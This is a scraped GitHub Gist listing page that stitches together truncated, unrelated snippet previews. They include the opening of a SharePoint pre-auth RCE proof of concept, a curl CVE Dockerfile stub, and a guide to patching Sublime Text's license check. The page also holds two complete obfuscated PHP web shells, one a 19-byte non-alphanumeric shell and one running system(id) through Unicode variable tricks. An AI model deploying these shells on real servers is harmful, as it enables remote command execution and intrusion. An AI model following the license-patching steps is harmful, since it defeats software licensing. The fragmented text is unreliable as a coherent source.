Skip to content

Instantly share code, notes, and snippets.

@testanull
testanull / SharePwn_public.py
Created December 15, 2023 07:31
SharePoint Pre-Auth Code Injection RCE chain CVE-2023-29357 & CVE-2023-24955 PoC
# -*- coding: utf-8 -*-
import hashlib
import base64
import requests, string, struct, uuid, random, re
import sys
from collections import OrderedDict
from sys import version
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# too lazy to deal with string <-> bytes confusion in python3 so forget it ¯\_(ツ)_/¯
@xen0bit
xen0bit / Dockerfile
Created October 11, 2023 04:19
CVE-2023-38545
FROM debian:latest
RUN apt-get update && apt-get install -y \
git \
build-essential \
wget \
python3
WORKDIR /build
██▀███ ▄▄▄ ▓█████▄ ▄▄▄ ██▀███ ▓█████
▓██ ▒ ██▒▒████▄ ▒██▀ ██▌▒████▄ ▓██ ▒ ██▒▓█ ▀
▓██ ░▄█ ▒▒██ ▀█▄ ░██ █▌▒██ ▀█▄ ▓██ ░▄█ ▒▒███
▒██▀▀█▄ ░██▄▄▄▄██ ░▓█▄ ▌░██▄▄▄▄██ ▒██▀▀█▄ ▒▓█ ▄
░██▓ ▒██▒ ▓█ ▓██▒░▒████▓ ▓█ ▓██▒░██▓ ▒██▒░▒████▒
░ ▒▓ ░▒▓░ ▒▒ ▓▒█░ ▒▒▓ ▒ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░░ ▒░ ░
░▒ ░ ▒░ ▒ ▒▒ ░ ░ ▒ ▒ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ░ ░
░░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░
@terjanq
terjanq / rev_shell.php
Last active January 30, 2024 21:53
The shortest non-alphanumeric reverse shell script (19 bytes)
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation:
@terjanq
terjanq / funny.php
Last active February 23, 2023 14:46
PHPF*ck
/* system(id) */
<?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ?><?=$Ψ=++$Χ?><?=$Ω=++$Ψ?><?=$Ϊ=++$Ω?><?=$Ϋ=++$Ϊ?><?=$ά=++$Ϋ?><?=$έ=++$ά?><?=$ή=++$έ?><?=$ί=++$ή?><?=$ΰ=++$ί?><?=$α=++$ΰ?><?=$β=++$α?><?=$γ=++$β?><?=$δ=++$γ?><?=$ε=++$δ?><?=$ζ=++$ε?><?=$η=++$ζ?><?=$θ=++$η?><?=$ι=++$θ?><?=$κ=++$ι?><?=$λ=++$κ?><?=$μ=++$λ?><?=$ν=++$μ?><?=$ξ=++$ν?><?=$ο=++$ξ?><?=$ο=([].Φ)[![]+![]+![]]?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>
<!--
Explanation:
- Some of the characters might look like alphanumeric, but they are Unicode characters.
- 'ArrayΦ' <-> [].Φ
- 1 <-> ![]
- 'a' <-> ([].Φ)[![]+![]+![]]
<?php
//php gd-gif.php image.gif gd-image.gif
$gif = imagecreatefromgif($argv[1]);
imagegif($gif, $argv[2]);
imagedestroy($gif);
?>
@laptrinhcomvn
laptrinhcomvn / Sublime Text 3 cheating.md
Last active November 17, 2023 06:53
Sublime Text 3 patching

Ref: https://gist.github.com/vertexclique/9839383

Important Note

Please use built-in Terminal.app (of Mac OS X) to type and rune the command, do not use another tool (like iTerm2).

Common step after enter run the patch command:

  • After run the commands, start new Sublime Text app, go to Main Menu > Help > Enter License. On the popup type in any text (example "a") and click Use Licence .